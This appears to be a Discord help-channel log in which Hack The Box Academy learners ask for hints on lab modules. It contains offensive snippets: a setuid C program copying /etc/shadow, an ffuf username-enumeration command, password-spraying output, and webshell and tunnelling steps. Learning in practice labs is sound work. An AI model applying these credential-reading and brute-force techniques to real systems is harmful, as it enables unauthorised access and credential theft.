yes

trying to identify pages

[ocean night]

Ah ok

[plucky hollow]

test .php .phps
archive / courses .php .phps /index.php/courses/index.php
faculty / courses .php .phps .php7 /index.php/courses/index.php

[uncut ocean]

can i dm you ? in that way i can explain more

[ocean night]

nvm.. tom, let me DM, take it out of here

[plucky hollow]

Ok

[cloud urchin]

i'm actually just about to go to bed

[royal mist]

Bro can anyone give me HTB subscription 😭

[uncut ocean]

ok @ocean night you??

[cloud urchin]

they have giveaways and you can win them in #giveaways

[royal mist]

Ohkk

No access

[cloud urchin]

yeah you have to go through the #welcome section first before you can access other discord areas

[safe star]

Can u use http server?

[uncut ocean]

Connection refused

i am kinda confuse here i have done prev one easily now additional question says bash Transfer Julio's ccache file from LINUX01 to your attack host. Follow the example to use chisel and proxychains to connect via evil-winrm from your attack host to MS01 and DC01. Mark DONE when finished.

[storm elk]

Please read #welcome and #rules 🙂 it will explain how to get verified

[uncut ocean]

here from ````LINUX01```

[royal mist]

Ohk

[uncut ocean]

root@linux01:/home/[e-mail]# id
uid=0(root) gid=0(root) groups=0(root)

here i am root now and for accessing LINUX01 i can use smbclient

root@linux01:/home/[e-mail]# smbclient //dc01/linux01 -k
Try "help" to get a list of possible commands.
smb: \> ```

but i have no idea how can i transfer the julio ccache to my local machine

[cloud urchin]

i don't get it, are you tunneling or something?

[safe star]

I’m trying rn

[cloud urchin]

there are many ways to transfer files

[safe star]

Did u use chisel and proxy chains?

[cloud urchin]

smb share, python ftp/http server, scp, powershell

[uncut ocean]

i think its fnext step ? like first i have to download the ccache file

i have ececute the chisel from rdp but in order to add the file in env variable i need julio ccache

[cloud urchin]

yeah i used scp for that part

it's the answer i gave you before, the user svc_workstations doesn't have permission to grab that file. you need to grant permissions.

once they have permissions, use scp to xfer

[safe star]

Yeah u need permission to transfer

I can transfer things that the user owns

[uncut ocean]

like how can i grant permission like i have to grant permission for that specific file or what?

[cloud urchin]

yeah, the user doesn't have permissions to touch that file. you're root on the box, you can modify the file permissions.

[uncut ocean]

ohh okok thanks man !

[naive sage]

still goes by ADN Sec? Amazing!

how many modules done so far?

[grand loom]

jekyll took a day to understand and set up

smh

[limpid hemlock]

Hey im having trouble in thefile upload attacks upload exploitation section i created a webshell uploaded it downloaded it and ran cmd in that url but nothings happening

[sour hemlock]

https://academy.hackthebox.com/module/113/section/2154 Q:What credentials were found for the local database instance while debugging the octopus_checker binary?

how to solve it?

[naive sage]

But it's the every hackers thingy.

[grand loom]

Had some technical difficulties but thank god I got through it

Not much support for plugins imo

[naive sage]

Yep, but you deployed it now right?

[grand loom]

Yes but just for testing purposes, I'm trying to just make my technical writing skills better

[naive sage]

Keep it up, let me know when you publish your first blog.

[limpid hemlock]

Any help

[naive sage]

#welcome Get your self verified first.

[grand loom]

Need screen shots of the situations and what u did

[grand loom]

Yee ofc

[naive sage]

DM.

[lime imp]

if a root user creates a file cmd
cp /etc/shadow /tmp/.
and then set suid bit, so if run this using another non-root user, it says peremission denied

but if the root user compiles this:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
setuid(0); setgid(0); system("cp /etc/shadow /tmp/.");
}

and sets suid bit, and if run by another user then it works, how? and why?

[dapper loom]

Iam doing the Linux fundamentals and logged in with ssh to the htb student.
But when i do the ls command it doesnt show me anything

[grand loom]

U might be in an empty directory

Try ls -ail

This command can show hidden directory

That start w .

[dapper loom]

Im in the home directory

it says bash_history
Bash_logout
cache
gnupg
bashrc

root

[grand loom]

Yup 😉

[dapper loom]

but it shouldnt be empty .
What is the path to the htb-student's mail?

I found some forums with the solution but when I ls i see nothing

[dim wolf]

probably because there are only hidden files inside your home dir

[grand loom]

Move through those directory

There is a well known command

[dim wolf]

ls -a will show everything

[dapper loom]

I cant if i try to cd into it says there is no such directory

[dim wolf]

you have to find the dir some other way

you can try checking your environment variables, maybe there's one for mail dir

[grand loom]

Tbh I'd just use a find command 💀

[dim wolf]

try submitting that for the answer

[grand loom]

[dapper loom]

It worked.
Kinda crazy though since the didnt really explain it

much appreciated for the help

[grand loom]

If u used pwd

U would have seen it

If that's in the section

[dapper loom]

pwd only showd home/htb-student

[dim wolf]

if you ssh in, you'll be in your home dir, so i'm not sure how you'd find it using pwd

[grand loom]

Ye mb thought it was /home/mail

Didn't see the var

Guess that's my sign to sleep

[dim wolf]

that dir would be for a user named mail..

[grand loom]

Ik

Just saw home/mail 😭

[dapper loom]

Sleep well haha

[floral sandal]

Hi, is there any one finished the Active Directory Trust Attacks Module?

[floral sandal]

I always get Access Denied when gathering the flag.txt file after a successful attack.

[sacred jacinth]

Why is the Introduction to NTA module's Wireshark section so confusing? In Guided Lab and Packet Inception most of the time I was wasting time on Live host whereas the task was in the resource file or vice versa.

[stuck pier]

Hello house pls I need help on task 2 of Intro To Assembly Language Skill Assessment

The above server simulates a vulnerable server that we can run our shellcodes on. Optimize 'flag.s' for shellcoding and get it under 50 bytes, then send the shellcode to get the flag

I have optimised the asm code below 50byte as said and modified the code to be null bytes free yet when I paste the payload to the server I got failed to run shellcode

This it’s frustrating me pls any hint even if I can dm the person with my modified asm code

[vapid forge]

Section : Web Fuzzing
Skill Assesment
I fuzzed the given ip and found /admin/ then i fuzzed /admin and found a few more pages but they say acess denied but am clueless for the next step, can anyone help?
i also found panel.php but when i browse to that website, it says Invalid parameter, please ensure accessID is set correctly

[glacial dragon]

Broken Authentication Skills assessment

trying to get a valid username: There are 2 regexp, one is "Invalid credentials." for a valid user and an invalid pass, second regexp is "Unknown username or password." for both an invalid user and an invalid pass

This is the command i used:
||ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://83.136.252.88:42502/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=Password1234" -fr "Unknown username or password." -mr "Invalid credentials."||

ran it 2 to 3 times still couldnt get user, what am i missing here?

[vapid forge]

Hey have u completed web fuzzing?

[glacial dragon]

Nevermind, just got a hit for the user, should've just waited a few more mins before asking lol😂

[glacial dragon]

Nope

[vapid forge]

Section : Web Fuzzing
Skill Assesment
I fuzzed the given ip and found /admin/ then i fuzzed /admin and found a few more pages but they say acess denied but am clueless for the next step, can anyone help?
i also found panel.php but when i browse to that website, it says Invalid parameter, please ensure accessID is set correctly

@stiff socket

[turbid hedge]

Hey guys
Im stuck on skill assessment for broken authentication
can someone give me a nudge for otp?

[severe plover]

Can someone give me a hint with a problem of resolving the question in the Web enumeration module (Getting Started). The hint from HTP sounds - Everything you need to login is given to you...but I tried looking at the source page, no login is saved. I need some help, but no direct solution, please.

[acoustic owl]

Take a look at the module, it explains how you can bypass things

[acoustic owl]

In which section?

[severe plover]

Getting Started Module - Pentesting Basics - Web Enumeration

[acoustic owl]

Check the module again. It will show you how you can obtain credentials

[vapid forge]

Hey, if u dont mind, can u help me with skill assessment web fuzzing?

[misty current]

Haven't done that module but, isn't that just hinting you to use the ||accessID parameter to the GET or POST to your || request

[vapid forge]

i have some clue

[acoustic owl]

What exactly is the problem? What is not working?

[vapid forge]

i tried to fuzz acessID alone as well

[vapid forge]

i fuzzed the given target got /admin/panel.php

but when i visit it says make sure the acessID is set correctly

[turbid hedge]

I did the bruteforce isn't working for it asks you to login again after 3 attempts.

[acoustic owl]

You have already used bruteforce and the module shows other things. Not everything can be forced with bruteforce.

[severe plover]

Yesterday I gave a try for a random created target from HTB with nmpa. I found that the targets port, which was listed on the HTP was not hosting web server. I found that this was other port...and after that I stuck getting the login data. But today, with new target, I can't even access the web panel, as I don't get the right port for web server.

[vapid forge]

what does it say?

[acoustic owl]

The website tells you what you need to do 😉
|| fuzz the accessID ||

[vapid forge]

i did

nothing so far. fuzzed both GET and POST methods.

[acoustic owl]

If the value is correct, you will get further

[vapid forge]

yea i just realized that, lol!

let me try again

[acoustic owl]

Your filter is wrong
Use Content-Length

[vapid forge]

just Content-Length?

[acoustic owl]

If I remember correctly, each parameter returns the code 200. So you cannot filter by it

[vapid forge]

yes

used this and too many responses

[acoustic owl]

Yes, because each parameter returns the status code 200. So you have to filter according to a different criterion

[vapid forge]

used this and too many responses

[fathom pendant]

Because you're not changing your filter

Also deleting bc spoilers

[vapid forge]

okay

what filter should i use

[fathom pendant]

...

Size

Look at the most common size response being thrown at you

Then [f]ilter by [s]ize

[vapid forge]

-fs you mean?

[fathom pendant]

Try first. Ask questions later

In this field you have to be willing to take a suggestion, and extract the meaningful info and run with it

[latent frigate]

Is someone having trouble with the machine of Active Directory Skills Assessment Part II 2?

I restarted it several times, terminated and started again. I chanve to different VPN regions.
But as soon as I login to the machine and do a simple ls command, it freezes forever

[fathom pendant]

Change vpn regions

Wait at least 5-10 minutes after spawning to ensure all services have been launched

[latent frigate]

done: from EU (low load) to US (low load) and picking the recommended

Startmachine 120 min
I went to lunch and it was 90 min, with the same slow

[fathom pendant]

Reach out to support then

[latent frigate]

ok thks

[sterile pumice]

Hello .

Someone for the second question of the "Introduction to Binary Fuzzing module"
<<What is the name of the vulnerable variable that ASan has identified and what line does it exist on? Answer by copying the exact ASan output, 'variable_name' (line 123) >>

Thanks in advance

[turbid hedge]

couldn't decode the session and i intercepted responses but nothing no.

there are no interesting parameters as far as i know that i can manipulate

[acoustic owl]

Look again in the module. It will show you what you need to do.

[turbid hedge]

nvm i solved it

thanks xD

[turbid hedge]

there were interesting stuff actually .

[glacial dragon]

can someone suggest which wordlist should i use to get the password, tried using rockyou but its working very slow not more than 2req/sec

[gray yacht]

I'd recommend a custom wordlist based off a policy, if that is the correct skills assessment.

[crisp remnant]

Is there someone that can shed some light for me in the Whitebox attacks module, section type juggling - authentication bypass ?

[glacial dragon]

thanks man, i forgot that step

[candid lily]

@crisp remnant how can you make hash() return null

[crisp remnant]

Yea this is exactly the thing that i am wondering..... no matter how and what i try it always return a hash....

[candid lily]

there is a way... use ||array()||

[fathom pendant]

#boxes read and follow #welcome to access, also avoid spoilers

[crisp remnant]

hmm i already tried that... i am testing with a simple code, but even emptry array ([]) is being hashed...

[amber hawk]

Hello i am still very new to the hack the box stuff and i am having this issue with the command I am very confused because it was working when i did the previous module. I'm unsure of what the issue is would anyone be able to help explain?

[fathom pendant]

Try restarting the lab

[fathom pendant]

Refrain from giving direct answers/code

If you feel it necessary take to dms

It worked fine for me from what I recall

[sturdy otter]

mhmmm, here is my codechain:

[fathom pendant]

Don't share direct code as it's a spoiler

[sturdy otter]

oh sorry

[ocean night]

That's like.. three times..

[fathom pendant]

There's a reason it was deleted at first

[sturdy otter]

sorry

[fathom pendant]

Your php code seems to be missing the $_GET

From what I glimpsed

[sturdy otter]

its there 😉

[fathom pendant]

¯_(ツ)_/¯

I just followed the section and it worked

[sturdy otter]

ill recheck everything

ty anyways!

[fathom pendant]

I've found my new favorite fake user/pass to use in account creations like gitlab "apple:bee"

[crisp remnant]

pfff my mistake was with the username and not the password.... 😮‍💨

[fathom pendant]

[primal harbor]

hi ihave problem with AD Internal Password Spraying
Evil-WinRM PS C:\tools> Import-Module .\DomainPasswordSpray.ps1
Evil-WinRM PS C:\tools> Invoke-DomainPasswordSpray -Password Winter2022 -OutFile spray_success -ErrorAction SilentlyContinue
[] Now creating a list of users to spray...
[] There appears to be no lockout policy.
[] Removing disabled users from list.
[] There are 2940 total users found.
[] Removing users within 1 attempt of locking out from list.
[] Created a userlist containing 0 users gathered from the current user's domain
[] The domain password policy observation window is set to minutes.
[] Setting a minute wait in between sprays.
it is not give me users how to solve it?

[fathom pendant]

Add a ! To the end of the password?

[pulsar berry]

ping srv02

[fathom pendant]

err: Destination Unreachable: no route to host

https://tenor.com/view/thats-the-beginning-of-the-end-neil-degrasse-tyson-star-talk-over-done-gif-20197222

[primal harbor]

i don't understant why iadd a?

[fathom pendant]

password policies :P

[silk dagger]

Can someone help me with the API attack module? Broken authentication and [e-mail]?

My idea is to use the password resets function and iterate through the OTPs. But somehow my ffuf command returns nothing And I can't login with my suggested password. Any hints? PM for command

[primal harbor]

Using the examples shown in this section, find a user with the password Winter2022. Submit the username as the answer. it is not work

[fathom pendant]

ah

did you create a user list?

[gray yacht]

Lemme check my notes.

[fathom pendant]

it's been a min since i've done that module

[gray yacht]

You can DM.

[fathom pendant]

add the .txt extension to the -OutFile

otherwise reset the target wait 5-10 minutes for all services to start up, try again

did you run powershell as admin

[fathom pendant]

try actually remoting in via RDP

instead of win-rm

as the instructions state to RDP to the target

[primal harbor]

okay thank you

[latent moss]

Hi guys

What's up

Is there anyone I can talk to?

[fathom pendant]

about?

[ocean night]

@rustic sage no sharing of payloads etc for modules above Tier 0, please

[rustic sage]

Oh sorry didnt realize that wasnt allowed!

[ocean night]

Mention which module / section you're stuck on, someone may reach out and DM to provide some advice

Yeah

Nobody reads the ToS

😢

[split pollen]

reading is for nerds

[ocean night]

lol

Nerds rock

[latent moss]

Are there hackers here?

[ocean night]

So that's fine

[fathom pendant]

what do you need help with?

[rustic sage]

Dear HTB community. Please safe my sanity. If anybody is available to assist me with the Client side prototype pollution please DM.

[ocean night]

Thanks 🙂

[latent moss]

@fathom pendant I was wondering if anyone knows how to make money.

[fathom pendant]

that wasn't an invitation to DM @latent moss

[ocean night]

Job

[fathom pendant]

https://tenor.com/view/apply-apply-apply-apply-typing-keyboard-jim-carrey-gif-21002173

[rustic sage]

The 8-5 thing has been working for me

[latent moss]

@fathom pendant 😂

[fathom pendant]

ah nvm it wasn't you that dmed

it was someone else

[ocean night]

[fathom pendant]

just making asssumptions bc i saw message requests: 1 right after asking

different username

that i immediately forgor

bc i yeet and delete them

[latent moss]

Is everyone here a white hat hacker?

[fathom pendant]

This platform/server revolves around whitehat hacking

not illegal shit like carding

[latent moss]

@fathom pendant I understand

[fathom pendant]

not to mention servers that would provide assistance with illegal activities generally won't last long

especially if they're open to the public

[latent moss]

@fathom pendant So, is it difficult to get into this business?

[fathom pendant]

depends where you live

¯_(ツ)_/¯

the market is also heavily saturated atm

[latent moss]

@fathom pendant Is it possible to become a hacker from your phone?

[fathom pendant]

lol not without a substantial amount of skill

hacking from your phone is a big meme

most people have a dedicated workstation/laptop with a pentest VM that they run off of

[latent moss]

@fathom pendant Dude, I needed money for a computer, so I found this place, hoping you might know a way.

[ocean night]

Everyone is born with nothing, some have family with wealth, some earn it, some get lucky

Gotta run with the hand you got, and start getting that wonga

Anyone who doesn't inherit money has always started working at a crappy job, well.. most I guess

Gotta put the effort in, in all things in life

[latent moss]

@ocean night That's why I asked if there was a way to make money.

[fathom pendant]

get a job

you don't have to jump out the gate into pentesting/cyber

that's how you make money

[ocean night]

Stack shelves, do a paper run, odd jobs, car wash, gardening

Get money enough to get kit to help you grow (e.g. laptop)

[fathom pendant]

i've put an application to a small store up the street that has nothing to do with IT/Cyber

[ocean night]

Keep growing, keep earning

[fathom pendant]

silly holiday delaying my app being read by HTB

[latent moss]

I mean, can I make money through social media? If I'm going to get into this business, should I use my laptop or should I use a cash register directly (I'm translating it from Google, it's a little late)

[fathom pendant]

making money through social media is ROUGH

[ocean night]

If you don't mind.. what point of education are you in?

(I am NOT asking your age)

so don't be too specific

Secondary, college?

[latent moss]

How old do you think I am?

[ocean night]

I'm not going to guess

[latent moss]

17

[fathom pendant]

yeah figured, you have high expectations with little actual experience

focus on finishing school first

then get some job that can give you the spending money for your own personal improvement

[latent moss]

No, I'm not expecting anything big, I just asked for a place where I could talk about artificial intelligence, she suggested this place, I was just asking a question.

[ocean night]

If your hobby is computers, programming, keep growing that hobby

But yeah.. focus on schooling first

[fathom pendant]

HTB is not a place to ask about AI

lol

[ocean night]

Self taught are sometimes some of the best and most adaptable people I've seen

[fathom pendant]

if you read and follow the instructions in #welcome you can ask more in #programming as we're veering this conversation off-topic

[ocean night]

sometimes, college and uni works better for people

It's all down to how you absorb knowledge, your persistence and drive to improve yourself, or to be shown the path and follow it as in higher education

[latent moss]

@ocean night Anyway my friend, I understand you, thank you

[ocean night]

👍 all the best

[split pollen]

what kinda g0blin are you anyway

[ocean night]

Start saving early, too

Every little counts 🙂

A MTG red deck g0blin

Cheap to cast, but devastating in numbers

[split pollen]

mind goblin?

[fathom pendant]

my favorite MTG gob is the one that lets you throw other goblins, maximum goblin efficiency

[ocean night]

hehehe

I stopped playing around 7th ed

but I have a nice collection of gobbos from there and prior

[fathom pendant]

I found my old Niv-Mizzet Highlander deck

lots of ping for 1 damage and draw cards

[ocean night]

🙂

[latent moss]

@ocean night Dude, I'm leaving, thank you for your help.

[ocean night]

Loved playing "no holds barred" games.. no enforce starting deck size, coming up with stupid ass once turn booooooom

I still will not forgive them for implementing a limit on lightning bolts in the deck lol

Anyway sorry, totally off topic, going back to general

[cold star]

how to fix this problem I can not download becuase the hackthebox rdp does not have internet and even though I have shared the desktop of my attack box errors presist

[fathom pendant]

try transferring the files to the host instead of running it from the shared folder

also you have a shared drive attached...

just cp /shared/file ~./

[cold star]

gives error i tried that

lemme try again and share

[storm elk]

Try with remmina

[fathom pendant]

also i could have sworn kerbrute is already on that host

[cold star]

It doesn't Connect using remmina

[storm elk]

Okay, sorry

[fathom pendant]

do me a favor

just do kerb then hit tab a few times

[cold star]

okay

ah shit I am sorry

[fathom pendant]

always try and see if a tool exists on the host before attempting to install

[cold star]

okay thanks a lot

[vapid mountain]

can someone please help me with the exploits module?

i cant even send a screenshot or copy the console, but im on the expoliting part of the getting started and when i follow the instructions i dont get the same output

[fathom pendant]

dude i forgot how powerful -exec is in the find command

[fathom pendant]

don't copy the example 1::1 use your own IP where needed, and the targetIP where also required

also getting started is the module; public exploits would be the section

you're not gonna get the same exploit as the example; I suggest (usually) when given a publicIP:Port attempt to visit it in a browser

The "instructions" in the section are general and basic "how to" once you find some info to go off of

[unique valve]

Also keep in mind that any tools that need to be transferred to a target can be done so through serving the tool up using a web server on your attack machine. My favorite method of doing this is python3 -m http.server 8000. Then use wget from the target to retrieve the files.

[vapid mountain]

well, yeah, i put in the correct ip and port and stuff

[fathom pendant]

yes but it might not be using the same exploit as the example :)

in order to crack an egg, you must first find the egg

[vapid mountain]

so i first have to find services to exploit and then search for an exploit for that?

[fathom pendant]

👍

it's a safe bet in most instances with an IP:PORT that it's hosting a webserver (in htb's case)

unless otherwise explicitly told

often the best way to find a service, is just by looking at the page :)

[vapid mountain]

so even the http is a service that can be exploited?

[cold star]

Okay gotcha

[limpid hemlock]

Hey in the file upload attacks module the client side validation section i try to upload a file .php even after editing out the function validate after using the inspect option and all im not able to upload the .php shell

Also i try to capture the req using burp that also isnt getting captured i dont knw what the problem is

[fathom pendant]

do you have interceptor turned on, and your foxyproxy turned on so burp can catch the request?

but there's no req made when going to grab the file from your system to upload* if you're referring to the server response that serves you the page you'd need to hard reload the page [ctr+shift+r] otherwise browser serves from cache, which doesn't send a req

[fathom pendant]

add .php to the list of allowed extensions

[limpid hemlock]

I was refering when i put a pic from my system and then click on upload there should be a req captured in burp right

[fathom pendant]

if you have it set up properly

as i stated earlier

is intercept on
is foxyproxy turned on for burp/8080

[hard matrix]

i havent had to use foxyproxy in awhile tbh

[limpid hemlock]

Ya both were on

[fathom pendant]

you should also enable the response capture

[limpid hemlock]

Actualy 1 time i got a responce later i had to restart the lab then on no responce being captured

[fathom pendant]

by default only requests are captured and you have to enable the response capture

but you're not using the index.php page to run the script

you're running the php from a completely different endpoint

[turbid echo]

Hi has anyone here solved Modern Web Exploitation techniques Skills Assessment.

Any hints on how to get htb-stdnt password?

[fathom pendant]

do things you were taught in the module

¯_(ツ)_/¯

[turbid echo]

I did.

I got the SQL injection from the only thing working in this site and it has no passwords.

[fathom pendant]

well then do enumeration with sqli can you pull databases or some such that may contain passwords

utilize the technique you're exploiting beyond just "well sqli works"

[jovial cliff]

Hello, I am doing the Skills Assessment for Windows Fundamental. I am a bit stuck on step 6 (https://academy.hackthebox.com/module/49/section/1015):

6. Adding the HR security group to the shared Company Data folder and NTFS permissions list

• Disable Inheritance before issuing specific NTFS permissions

After disabling the inheritance (Advanced > Disable Inheritance > Disable Inheritance before issuing specific NTFS permissions), I add the HR group and set the NTFS permissions.

But after, I don't have any permission to configure the folder. I am kind of locked out, I can't delete it as well.

What am I doing wrong?

[fathom pendant]

it's t3 module that likely assumes you know the basics of other simple techniques

[fathom pendant]

did you remove other groups from the share?

[jovial cliff]

I just pressed the "Disable Inheritance" button and then "Remove all inherited permissions from this object".

[fathom pendant]

select the first option

not the second

[fathom pendant]

unless in specific circumstances you're almost always going to Convert Permissions

[jovial cliff]

Ok, I saw I can add myself back as a security principal and now it works.
Thanks!

[fathom pendant]

the second option is if you have a BUNCH of inherited permissions and it's just faster to start from scratch

like 15+

[turbid echo]

The database has no passwords or anything

[turbid echo]

I pulled the whole database

[fathom pendant]

idk then dude ¯_(ツ)_/¯

[turbid echo]

No table for users

[fathom pendant]

i haven't done this module

i'm just spitballing

there's more you can do with sqli as well like potentially uploading a webshell

[vague tundra]

How did this scan get port 22

[rustic sage]

Dear HTB community. Please safe my sanity. If anybody is available to assist me with the Client side prototype pollution payload for the Whitebox attacks module, then please DM.

[fathom pendant]

it didn't

[vague tundra]

who did

[turbid echo]

Tried that

[turbid echo]

I vaguely remember it but sure what's your problem?

[fathom pendant]

just an error in the example

[rustic sage]

Can I DM you?

[turbid echo]

Yeah

[vague tundra]

they make shit up

[fathom pendant]

nah

what likely happened is they copied output from doing a scan with port 22; and just left it in

[vague tundra]

it's kinda confusing

[fathom pendant]

it's ultimately unneccessary ¯_(ツ)_/¯

most of my notes don't contain the example output unless i can't perform the same thing against the target(s)

[oblique urchin]

Can anyone help me with the NFS footprinting module? I'm using exegol as a container and I can't mount because of "permission denied".

[fathom pendant]

Footprinting Module; NFS Section

there's no NFS Footprinting module

[fathom pendant]

did you try with sudo?

[oblique urchin]

Yes

Yes ...

[fathom pendant]

i've no experience with exegol so i'm not sure what could be preventing it tbh

[oblique urchin]

cmd: sudo mount -t nfs 10.129.202.5:/var/nfs ./target-NFS/ -o nolock

mount.nfs: Operation not permitted

[misty current]

@turbid echo You can DM me what you've tried

For Modern Web Attacks

[oblique urchin]

Perfect thanks

[marsh echo]

You tried mount on /tmp

[oblique urchin]

Yes

And i have the same error : permission denied

I think its my container exegol or bad configuration of the server nfs and the nfs client

[marsh echo]

Surely try to review your configuration

[plucky hollow]

function generateSerial() {
...SNIP...
var xhr = new XMLHttpRequest;
var url = "/serial.php";
xhr.open("POST", url, true);
xhr.send(null);
};```

As previously mentioned, the above-used method of obfuscation is packing. Another way of unpacking such code is to find the return value at the end and use console.log to print it instead of executing it.```

I don't understand: Another way of unpacking such code is to find the return value at the end and use console.log to print it instead of executing it.

[mild glade]

Following through the steps on meterpreter tunneling/port forwarding, still can't get to replicate the results from the module. It's showing that the port is filtered instead of the expected open -- doing this on a newly started pwnbox, no other modifications aside from the ones listed on the module itself:

[fathom pendant]

i wouldn't generally worry too much about it saying filtered if you can interact with it via rdp

sometimes it's just like that

in short: don't worry about replicating the examples as sometimes it's just not possible

[mild glade]

TY

[fathom pendant]

Wdym?

You unpacked the code there

It's basically saying instead of executing the code, you replace the execution with console.log

And that's it

The text is likely referring to using a tool to unpack it for you instead of manually

[plucky hollow]

yes, that code is already deobfuscated the example code is obfuscated and long, but I don't understand: Another way of unpacking such code is to find the return value at the end and use console.log to print it instead of executing it.

[fathom pendant]

The return value == literally where it says "return"

return console.log(thing)

[plucky hollow]

unpack = desobfuscate

[fathom pendant]

Yes

[signal wing]

It appears that the malware is dropping a .tmp file following the infection. Enter the complete name of this .tmp file as your answer. Answer format: _.tmp

[oblique urchin]

It us possible to exploit nfs port with metasploit ?

[magic solar]

Hey all, I am on a windows host with an elevated system shell, I have imported both the ActiveDirectory and PowerView modules but Get-DomainObjectACL still returns 'not recognized' . Are there any gotchas I may have overlooked?

[fathom pendant]

Why?

Also I don't think nfs has any vulns

[oblique urchin]

For the nfs section footprinting module

[fathom pendant]

Try the same command in the pwnbox

As exploiting nfs isn't in scope for that module

Just mount and explore

[oblique urchin]

Ok yes thanks i forget the pawnbox i try this when i comeback home

[fathom pendant]

But what it feels like is that your user doesn't have mount permission in your vm